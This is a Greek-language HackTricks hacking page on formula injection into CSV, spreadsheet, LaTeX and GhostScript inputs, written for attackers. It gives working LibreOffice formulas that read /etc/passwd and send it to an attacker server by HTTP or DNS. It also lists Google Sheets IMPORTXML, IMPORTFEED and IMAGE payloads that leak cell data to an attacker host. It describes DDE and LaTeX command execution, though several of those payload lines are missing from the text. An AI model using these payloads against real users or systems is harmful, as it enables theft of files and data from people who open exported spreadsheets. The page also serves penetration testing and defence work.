Formula/CSV/Doc/LaTeX/GhostScript Injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Αν η είσοδός σας αντανακλάται μέσα σε αρχεία CSV (ή οποιοδήποτε άλλο αρχείο που πιθανόν θα ανοιχτεί από το Excel), ίσως να μπορείτε να βάλετε τύπους του Excel που θα εκτελούνται όταν ο χρήστης ανοίγει το αρχείο ή όταν ο χρήστης κλικάρει σε κάποιο σύνδεσμο μέσα στο φύλλο excel.
Σήμερα το Excel θα ειδοποιήσει (πολλές φορές) τον χρήστη όταν κάτι φορτώνεται από έξω από το Excel προκειμένου να τον προστατεύσει από κακόβουλες ενέργειες. Επομένως, πρέπει να καταβληθεί ειδική προσπάθεια στο Social Engineering για το τελικό payload.
Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο excel και για την εκτέλεση αιτημάτων σε αυθαίρετες τοποθεσίες. Απαιτεί όμως από τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τις προειδοποιήσεις).
Το παρακάτω παράδειγμα έχει ληφθεί από https://payatu.com/csv-injection-basic-to-exploit
Φανταστείτε μια παραβίαση ασφάλειας σε ένα σύστημα Διαχείρισης Φοιτητικών Αρχείων που εκμεταλλεύεται μέσω μιας επίθεσης CSV injection. Η κύρια πρόθεση του επιτιθέμενου είναι να παραβιάσει το σύστημα που χρησιμοποιούν οι δάσκαλοι για να διαχειρίζονται τις λεπτομέρειες των φοιτητών. Η μέθοδος περιλαμβάνει τον επιτιθέμενο να εισάγει ένα κακόβουλο payload στην εφαρμογή, συγκεκριμένα εισάγοντας επιβλαβείς τύπους σε πεδία που προορίζονται για λεπτομέρειες φοιτητών. Η επίθεση εξελίσσεται ως εξής:
Εισαγωγή Κακόβουλου Payload:
Ο επιτιθέμενος υποβάλλει μια φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει έναν τύπο που χρησιμοποιείται συνήθως σε υπολογιστικά φύλλα (π.χ., =HYPERLINK("<malicious_link>","Click here")
).
Αυτός ο τύπος έχει σχεδιαστεί για να δημιουργεί έναν υπερσύνδεσμο, αλλά δείχνει σε έναν κακόβουλο διακομιστή που ελέγχεται από τον επιτιθέμενο.
Εξαγωγή Παραβιασμένων Δεδομένων:
Οι δάσκαλοι, ανυποψίαστοι για την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
Το αρχείο CSV, όταν ανοιχτεί, περιέχει ακόμα το κακόβουλο payload. Αυτό το payload εμφανίζεται ως κλικαρίσιμος υπερσύνδεσμος στο υπολογιστικό φύλλο.
Ενεργοποίηση της Επίθεσης:
Ένας δάσκαλος κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι είναι ένα νόμιμο μέρος των λεπτομερειών του φοιτητή.
Με το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή τον υπολογιστή του δασκάλου) μεταδίδονται στον διακομιστή του επιτιθέμενου.
Καταγραφή των Δεδομένων:
Ο διακομιστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που αποστέλλονται από τον υπολογιστή του δασκάλου.
Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, παραβιάζοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.
Ελέγξτε την αρχική ανάρτηση για περισσότερες λεπτομέρειες.
Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια δυνατότητα που ονομάζεται Dynamic Data Exchange (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να αξιοποιηθεί αυτό, οι παρακάτω ρυθμίσεις πρέπει να είναι ενεργοποιημένες:
Μεταβείτε στο Αρχείο → Επιλογές → Κέντρο εμπιστοσύνης → Ρυθμίσεις Κέντρου εμπιστοσύνης → Εξωτερικό περιεχόμενο, και ενεργοποιήστε την Εκκίνηση Διακομιστή Dynamic Data Exchange.
Όταν ένα υπολογιστικό φύλλο με το κακόβουλο payload ανοίγει (και αν ο χρήστης αποδεχτεί τις προειδοποιήσεις), το payload εκτελείται. Για παράδειγμα, για να εκκινήσει την εφαρμογή υπολογιστή, το payload θα ήταν:
Επιπλέον εντολές μπορούν επίσης να εκτελούνται, όπως η λήψη και εκτέλεση ενός αρχείου χρησιμοποιώντας το PowerShell:
Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξαγωγή δεδομένων. Ακολουθούν μερικές μέθοδοι:
Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο /etc/passwd
: ='file:///etc/passwd'#$passwd.A1
Εξαγωγή των αναγνωσθέντων δεδομένων σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
Εξαγωγή περισσότερων από μία γραμμές: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
Εξαγωγή DNS (αποστολή αναγνωσθέντων δεδομένων ως DNS ερωτήματα σε έναν διακομιστή DNS ελεγχόμενο από τον επιτιθέμενο): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Το Google Sheets προσφέρει συναρτήσεις που μπορούν να εκμεταλλευτούν για την εξαγωγή δεδομένων OOB:
CONCATENATE: Συνενώνει συμβολοσειρές - =CONCATENATE(A2:E2)
IMPORTXML: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Εισάγει RSS ή ATOM ροές - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Εισάγει δεδομένα από HTML πίνακες ή λίστες - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Εισάγει μια περιοχή κελιών από άλλο υπολογιστικό φύλλο - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Εισάγει μια εικόνα σε ένα κελί - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που μετατρέπουν κώδικα LaTeX σε PDF χρησιμοποιούν pdflatex
.
Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για να (απαγορεύσει) ή να επιτρέψει την εκτέλεση εντολών:
--no-shell-escape
: Απενεργοποιεί τη δομή \write18{command}
, ακόμη και αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.
--shell-restricted
: Ίδιο με το --shell-escape
, αλλά περιορισμένο σε ένα 'ασφαλές' σύνολο προκαθορισμένων **εντολών (**Στο Ubuntu 16.04 η λίστα είναι στο /usr/share/texmf/web2c/texmf.cnf
).
--shell-escape
: Ενεργοποιεί τη δομή \write18{command}
. Η εντολή μπορεί να είναι οποιαδήποτε εντολή shell. Αυτή η δομή κανονικά απαγορεύεται για λόγους ασφαλείας.
Ωστόσο, υπάρχουν άλλοι τρόποι για να εκτελέσετε εντολές, οπότε για να αποφύγετε το RCE είναι πολύ σημαντικό να χρησιμοποιήσετε --shell-restricted
.
Μπορεί να χρειαστεί να προσαρμόσετε την ένεση με περιτυλίγματα όπως [ ή $.
Η είσοδος της εντολής θα ανακατευθυνθεί στο stdin, χρησιμοποιήστε ένα προσωρινό αρχείο για να την αποκτήσετε.
Αν λάβετε οποιοδήποτε σφάλμα LaTex, εξετάστε το ενδεχόμενο να χρησιμοποιήσετε base64 για να αποκτήσετε το αποτέλεσμα χωρίς κακά χαρακτήρες.
Από @EdOverflow
Έλεγχος https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)